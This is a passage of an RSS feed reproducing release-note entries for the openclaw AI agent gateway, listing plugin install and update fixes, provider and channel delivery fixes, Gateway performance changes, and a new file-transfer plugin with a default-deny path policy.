<li>
<p>Plugins/ClawHub: fall back to version metadata when the artifact resolver route is missing and keep the Docker ClawHub fixture aligned with npm-pack artifact resolution, avoiding false version-not-found failures during plugin install validation. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Providers/openai-codex: honor <code>providerConfig.baseUrl</code> in the dynamic-model synthesis fallback so codex providers configured with a custom upstream (for example a forwarding proxy) no longer silently bypass the configured URL when the registry has no template row to clone for the requested model id. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370800895" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76428" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76428/hovercard" href="https://github.com/openclaw/openclaw/pull/76428">#76428</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arniesaha/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arniesaha">@arniesaha</a>.</p>
</li>
<li>
<p>Status/channels: show configured channels in <code>openclaw status</code> and config-only <code>openclaw channels status</code> output even when the Gateway is unreachable, avoiding empty Channels tables on WSL and other no-Gateway paths. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/ClawHub: explain unavailable explicit ClawHub ClawPack artifact downloads with a temporary npm install hint while ClawHub artifact routing rolls out. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Media: accept home-relative <code>MEDIA:~/...</code> attachment paths while preserving existing file-read policy, traversal checks, and media type validation. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346056562" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73796" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73796/hovercard" href="https://github.com/openclaw/openclaw/issues/73796">#73796</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fabkury/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fabkury">@fabkury</a>.</p>
</li>
<li>
<p>Onboarding/search: install official external web-search plugins such as Brave before saving provider config, and make doctor repair reconcile selected external search providers whose npm payload is missing. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/externalization: add official npm-first catalogs for externalized channel, provider, and generic plugins, keep unpublished ACPX/Google Chat/LINE bundled, and make missing-plugin repair honor npm-first metadata while ClawHub pack files roll out. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/update: detect tracked plugin install records whose package directories disappeared during <code>openclaw update</code>, reinstall them before normal plugin updates, and fail the update if any install record still points at missing disk payloads.</p>
</li>
<li>
<p>Plugins/registry: hash manifest and package metadata when validating persisted plugin registries so fast same-size rewrites cannot leave stale plugin metadata trusted.</p>
</li>
<li>
<p>Plugins/registry: canonicalize install-record provenance paths before trust diagnostics, so npm plugins installed under symlinked temp/state roots no longer warn as untracked local code.</p>
</li>
<li>
<p>Plugins/install: let official external Discord reinstall requests pass the invalid-config guard and run stale-channel repair, so upgrades can recover missing external plugin state directly.</p>
</li>
<li>
<p>CLI/infer: reject local <code>codex/*</code> one-shot model probes before simple-completion dispatch and point operators at the Codex app-server runtime path instead of ending with an empty-output error.</p>
</li>
<li>
<p>Agents/sessions: preserve terminal lifecycle state when final run metadata persists from a stale in-memory snapshot, preventing <code>main</code> sessions from staying stuck as running after completed or timed-out turns.</p>
</li>
<li>
<p>Gateway/CLI: make <code>openclaw gateway start</code> repair stale managed service definitions that point at old OpenClaw versions, missing binaries, or temporary installer paths before starting.</p>
</li>
<li>
<p>Heartbeat/scheduler: make heartbeat phase scheduling active-hours-aware so the scheduler seeks forward to the first in-window phase slot instead of arming timers for quiet-hours slots and relying solely on the runtime guard. Non-UTC <code>activeHours.timezone</code> values (e.g. <code>Asia/Shanghai</code>) now correctly influence when the next heartbeat timer fires, avoiding wasted quiet-hours ticks and long dormant gaps after gateway restarts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363246759" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75487" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75487/hovercard" href="https://github.com/openclaw/openclaw/issues/75487">#75487</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>Providers/Arcee AI: mark Trinity Large Thinking as tool-incompatible so main-session runs use the same text-only request shape that made subagent runs recover, avoiding the remaining main-session response-shape mismatch after the <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4221668426" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62848" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62848/hovercard" href="https://github.com/openclaw/openclaw/issues/62848">#62848</a> transport failover fix. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4221687645" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62851" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62851/hovercard" href="https://github.com/openclaw/openclaw/issues/62851">#62851</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4221667245" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62847" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62847/hovercard" href="https://github.com/openclaw/openclaw/issues/62847">#62847</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4221668426" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62848" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62848/hovercard" href="https://github.com/openclaw/openclaw/issues/62848">#62848</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adam-Researchh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adam-Researchh">@Adam-Researchh</a>.</p>
</li>
<li>
<p>Status: show the <code>openai-codex</code> OAuth profile for <code>openai/gpt-*</code> sessions running through the native Codex runtime instead of reporting auth as unknown. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369662899" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76197" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76197/hovercard" href="https://github.com/openclaw/openclaw/pull/76197">#76197</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mbelinky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mbelinky">@mbelinky</a>.</p>
</li>
<li>
<p>Gateway: avoid repeated plugin tool descriptor config hashing so large runtime configs do not block reply startup and trigger reconnect/timeouts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367851232" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75944" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75944/hovercard" href="https://github.com/openclaw/openclaw/issues/75944">#75944</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</p>
</li>
<li>
<p>Plugins/externalization: keep diagnostics ClawHub packages and persisted bundled-plugin relocation on npm-first install metadata for launch, and omit Discord from the core package now that its external package is published. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Setup/TUI: bound the Terminal hatch bootstrap run so a stalled provider request times out instead of leaving first-run hatching stuck behind the watchdog. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369916791" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76241" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76241/hovercard" href="https://github.com/openclaw/openclaw/pull/76241">#76241</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</p>
</li>
<li>
<p>Cron/CLI runtimes: route isolated cron jobs through configured per-agent CLI runtimes only when the resolved model provider is compatible, so OpenAI job overrides no longer inherit a mismatched Claude CLI backend. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishutdhar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishutdhar">@vishutdhar</a>.</p>
</li>
<li>
<p>Plugins/Codex: allow the official npm Codex plugin to install without the unsafe-install override, keep <code>/codex</code> command ownership, and cover the real npm Docker live path through managed <code>.openclaw/npm</code> dependencies plus uninstall failure proof.</p>
</li>
<li>
<p>Gateway/status: add concrete service, config, listener-owner, and log collection next steps when gateway probes fail and Bonjour finds no local gateway, so frozen or port-conflict reports include the data needed for root-cause triage. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4088411746" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49012" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/49012/hovercard" href="https://github.com/openclaw/openclaw/issues/49012">#49012</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Codex harness: forward OpenClaw workspace bootstrap files such as <code>SOUL.md</code> through native Codex config instructions while leaving <code>AGENTS.md</code> to Codex project-doc discovery. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370133135" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76273" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76273/hovercard" href="https://github.com/openclaw/openclaw/issues/76273">#76273</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zknicker/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zknicker">@zknicker</a>.</p>
</li>
<li>
<p>Parallels/Windows update smoke: escape the stale post-swap import regex in the generated PowerShell script so expected <code>ERR_MODULE_NOT_FOUND</code> update handoffs continue to post-update health checks. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362062644" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75315" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75315/hovercard" href="https://github.com/openclaw/openclaw/pull/75315">#75315</a>)</p>
</li>
<li>
<p>Slack: allow draft preview streaming in top-level DMs when <code>replyToMode</code> is <code>off</code> while keeping Slack native streaming and assistant thread status gated on reply threads. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4160487114" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56480" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56480/hovercard" href="https://github.com/openclaw/openclaw/issues/56480">#56480</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4161016971" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56544" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/56544/hovercard" href="https://github.com/openclaw/openclaw/pull/56544">#56544</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HangGlidersRule/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HangGlidersRule">@HangGlidersRule</a>.</p>
</li>
<li>
<p>Control UI/chat: remove the delete-confirm popover outside-click listener on every dismiss path, so Cancel, Delete, outside clicks, and same-button toggles no longer leave stale document listeners behind. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363970635" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75590" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75590/hovercard" href="https://github.com/openclaw/openclaw/pull/75590">#75590</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4306731173" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69982" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/69982/hovercard" href="https://github.com/openclaw/openclaw/pull/69982">#69982</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ricardo-M-L/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ricardo-M-L">@Ricardo-M-L</a>.</p>
</li>
<li>
<p>Memory-core: treat exhausted file watcher limits as non-fatal for builtin memory auto-sync while preserving fatal handling for unrelated disk-full errors. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341250108" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73357" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73357/hovercard" href="https://github.com/openclaw/openclaw/pull/73357">#73357</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/solodmd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/solodmd">@solodmd</a>.</p>
</li>
<li>
<p>Providers/Ollama: restore catalog context-window forwarding as <code>num_ctx</code> for native <code>/api/chat</code> requests; fixes tool selection and context truncation regressions on models with catalog entries (qwen3, llama3, gemma3, …) when no explicit <code>params.num_ctx</code> was configured. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369209198" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76117" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76117/hovercard" href="https://github.com/openclaw/openclaw/issues/76117">#76117</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369585251" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76181" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76181/hovercard" href="https://github.com/openclaw/openclaw/pull/76181">#76181</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</p>
</li>
<li>
<p>Plugins/install: pin npm plugin installs to the verified resolved version and reject package-lock version or integrity drift, so mutable tags cannot race integrity checks into accepting a different artifact. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Lucenx9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Lucenx9">@Lucenx9</a>.</p>
</li>
<li>
<p>Plugins/providers: preserve scoped cold-load fallback for enabled external manifest-contract capability providers missing from the startup registry, so providers such as Fish Audio can resolve on request without requiring <code>activation.onStartup</code> for correctness. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371180492" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76536" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76536/hovercard" href="https://github.com/openclaw/openclaw/pull/76536">#76536</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Conan-Scott/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Conan-Scott">@Conan-Scott</a>.</p>
</li>
<li>
<p>Gateway/update: carry <code>continuationMessage</code> from <code>update.run</code> into successful restart sentinels so session-scoped self-updates can resume one follow-up turn after the Gateway restarts. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4324435284" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71178" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71178/hovercard" href="https://github.com/openclaw/openclaw/issues/71178">#71178</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350993039" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74362" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74362/hovercard" href="https://github.com/openclaw/openclaw/pull/74362">#74362</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100menotu001/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100menotu001">@100menotu001</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HeilbronAILabs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HeilbronAILabs">@HeilbronAILabs</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/artnking/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/artnking">@artnking</a>.</p>
</li>
<li>
<p>Agents/fallback: suppress duplicate current-turn user-message transcript writes after embedded fallback retries while still sending the retry prompt to the model. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4231528900" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63696" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/63696/hovercard" href="https://github.com/openclaw/openclaw/pull/63696">#63696</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dashhuang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dashhuang">@dashhuang</a>.</p>
</li>
<li>
<p>Channels/Telegram: force a fresh final message when a visible non-preview bubble (tool/block/error) was delivered after the active answer preview, so multi-step assistant replies no longer end up with the final answer above intermediate output. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371163135" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76529" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76529/hovercard" href="https://github.com/openclaw/openclaw/issues/76529">#76529</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jack-stormentswe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jack-stormentswe">@jack-stormentswe</a>.</p>
</li>
<li>
<p>Channels/Telegram: require an observed Telegram send, edit, or fallback before treating a forum-topic final as delivered, so final replies generated in transcript no longer disappear from Telegram topics. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371235088" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76554" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76554/hovercard" href="https://github.com/openclaw/openclaw/issues/76554">#76554</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372160301" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76764" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76764/hovercard" href="https://github.com/openclaw/openclaw/pull/76764">#76764</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bubucilo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bubucilo">@bubucilo</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>.</p>
</li>
<li>
<p>Plugins/update: keep externalized bundled npm bridge updates on the normal plugin security scanner path instead of granting source-linked official trust without artifact provenance. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372163499" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76765" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76765/hovercard" href="https://github.com/openclaw/openclaw/pull/76765">#76765</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Lucenx9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Lucenx9">@Lucenx9</a>.</p>
</li>
<li>
<p>Agents/reply context: label replied-to messages as the current user message target in model-visible metadata, so short replies are grounded to their explicit reply target instead of nearby chat history. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372371547" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76817" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76817/hovercard" href="https://github.com/openclaw/openclaw/pull/76817">#76817</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>.</p>
</li>
<li>
<p>Doctor/plugins: install configured missing official plugins such as Discord and Brave during doctor/update repair, auto-enable repaired provider plugins, preserve config when a download fails, and stop auto-enable from inventing plugin entries when no manifest declares a configured channel. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372587442" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76872" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76872/hovercard" href="https://github.com/openclaw/openclaw/issues/76872">#76872</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jack-stormentswe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jack-stormentswe">@jack-stormentswe</a>.</p>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[openclaw 2026.5.3-beta.3]]></title>
<description><![CDATA[2026.5.3
Highlights

Plugins/file-transfer: add bundled file-transfer plugin with file_fetch, dir_list, dir_fetch, and file_write agent tools for binary file ops on paired nodes; default-deny per-node path policy under plugins.entries.file-transfer.config.nodes with operator approval, symlink tra...]]></description>
<link>https://tsecurity.de/de/3484805/downloads/openclaw-202653-beta3/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3484805/downloads/openclaw-202653-beta3/</guid>
<pubDate>Mon, 04 May 2026 04:30:48 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.5.3</h2>
<h3>Highlights</h3>
<ul>
<li>Plugins/file-transfer: add bundled file-transfer plugin with <code>file_fetch</code>, <code>dir_list</code>, <code>dir_fetch</code>, and <code>file_write</code> agent tools for binary file ops on paired nodes; default-deny per-node path policy under <code>plugins.entries.file-transfer.config.nodes</code> with operator approval, symlink traversal refused by default (opt-in <code>followSymlinks</code>), and a 16 MB byte ceiling per round-trip. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354792250" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74742" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74742/hovercard" href="https://github.com/openclaw/openclaw/pull/74742">#74742</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/omarshahine/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/omarshahine">@omarshahine</a>.</li>
<li>Plugins/install: harden official plugin install, uninstall, update, onboarding, ClawHub fallback, npm dependency-state reporting, and beta-channel update paths so externalized plugins behave like first-class package installs.</li>
<li>Gateway/performance: trim startup and Control UI hot paths by lazy-loading plugin/runtime discovery, cron, schema, shutdown, sessions, and model metadata work only when needed.</li>
<li>Channels/replies: improve Discord status reactions and degraded transport reporting, add WhatsApp Channel/Newsletter targets, and tighten Telegram, Feishu, Matrix, Microsoft Teams, and Slack delivery/recovery behavior.</li>
<li>Install/update: recover broken macOS LaunchAgent upgrades, reject source-only plugin packages before runtime load, and repair stale Gateway/plugin state during updates and doctor runs.</li>
<li>Agent/runtime reliability: preserve streamed provider replies, delayed A2A session replies, prompt/tool delivery, memory recall, web search provider discovery, and provider-specific thinking/model metadata across common edge cases.</li>
</ul>
<h3>Changes</h3>
<ul>
<li>Channels/streaming: add unified <code>streaming.mode: "progress"</code> drafts with auto single-word status labels and shared progress configuration across Discord, Telegram, Matrix, Slack, and Microsoft Teams.</li>
<li>Agents/commands: add <code>/steer &lt;message&gt;</code> for queue-independent steering of the active current-session run without starting a new turn when the session is idle. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372960326" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76934" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76934/hovercard" href="https://github.com/openclaw/openclaw/pull/76934">#76934</a>)</li>
<li>Tools/BTW: add <code>/side</code> as a text and native slash-command alias for <code>/btw</code> side questions.</li>
<li>Doctor/config: <code>doctor --fix</code> now commits safe legacy migrations even when unrelated validation issues (e.g. a missing plugin) prevent full validation from passing, so <code>agents.defaults.llm</code> and other known-legacy keys are always cleaned up by <code>doctor --fix</code> regardless of other config problems. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372284670" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76798" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76798/hovercard" href="https://github.com/openclaw/openclaw/issues/76798">#76798</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372297549" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76800" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76800/hovercard" href="https://github.com/openclaw/openclaw/pull/76800">#76800</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</li>
<li>Agents/tools: skip optional media and PDF tool factories when the effective tool denylist already blocks them, avoiding unnecessary hot-path setup for tools that will be filtered out before model use. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372183833" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76773" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76773/hovercard" href="https://github.com/openclaw/openclaw/pull/76773">#76773</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dorukardahan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dorukardahan">@dorukardahan</a>.</li>
<li>Discord/status: let explicit reaction tool calls opt into tracking subsequent tool progress on the reacted message with <code>trackToolCalls: true</code>, and use the shared tool display emoji table for status reactions.</li>
<li>Gateway/config: stop Gateway startup and hot reload from auto-restoring invalid config; invalid config now fails closed and <code>openclaw doctor --fix</code> owns last-known-good repair.</li>
<li>Gateway/performance: lazy-load early runtime discovery and shutdown-hook helpers, defer maintenance timers until after readiness, and trim duplicate plugin auto-enable work during Gateway startup.</li>
<li>QA/Mantis: add a <code>pnpm openclaw qa mantis discord-smoke</code> runner and manual GitHub workflow that verify the Mantis Discord bot can see the configured guild/channel, post a smoke message, add a reaction, and upload artifacts.</li>
<li>QA/Slack: add a Slack live transport QA runner with canary and mention-gating coverage for the private bot-to-bot harness. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/onboarding: let Manual setup install optional official plugins, including ClawHub-backed diagnostics with npm fallback, and expose the external Codex plugin as a selectable provider setup choice. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/CLI/update: include package dependency install state in <code>openclaw plugins list --json</code>, trust official externalized npm migrations, clean stale bundled load paths for externalized installs, try plugin <code>@beta</code> updates first on the beta OpenClaw channel, and fall back to default/latest when no plugin beta release exists.</li>
<li>Plugins/ClawHub: annotate 429 errors with reset windows and unauthenticated higher-rate-limit hints, so operators can tell when downloads recover and when signing in helps. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</li>
<li>Gateway/performance: lazy-load early runtime discovery, shutdown hooks, cron, channel-config schema metadata, restart sentinels, and maintenance timers after readiness; trim duplicate plugin auto-enable work and add startup CPU/profile controls.</li>
<li>Gateway/config: stop Gateway startup and hot reload from auto-restoring invalid config; invalid config now fails closed and <code>openclaw doctor --fix</code> owns last-known-good repair.</li>
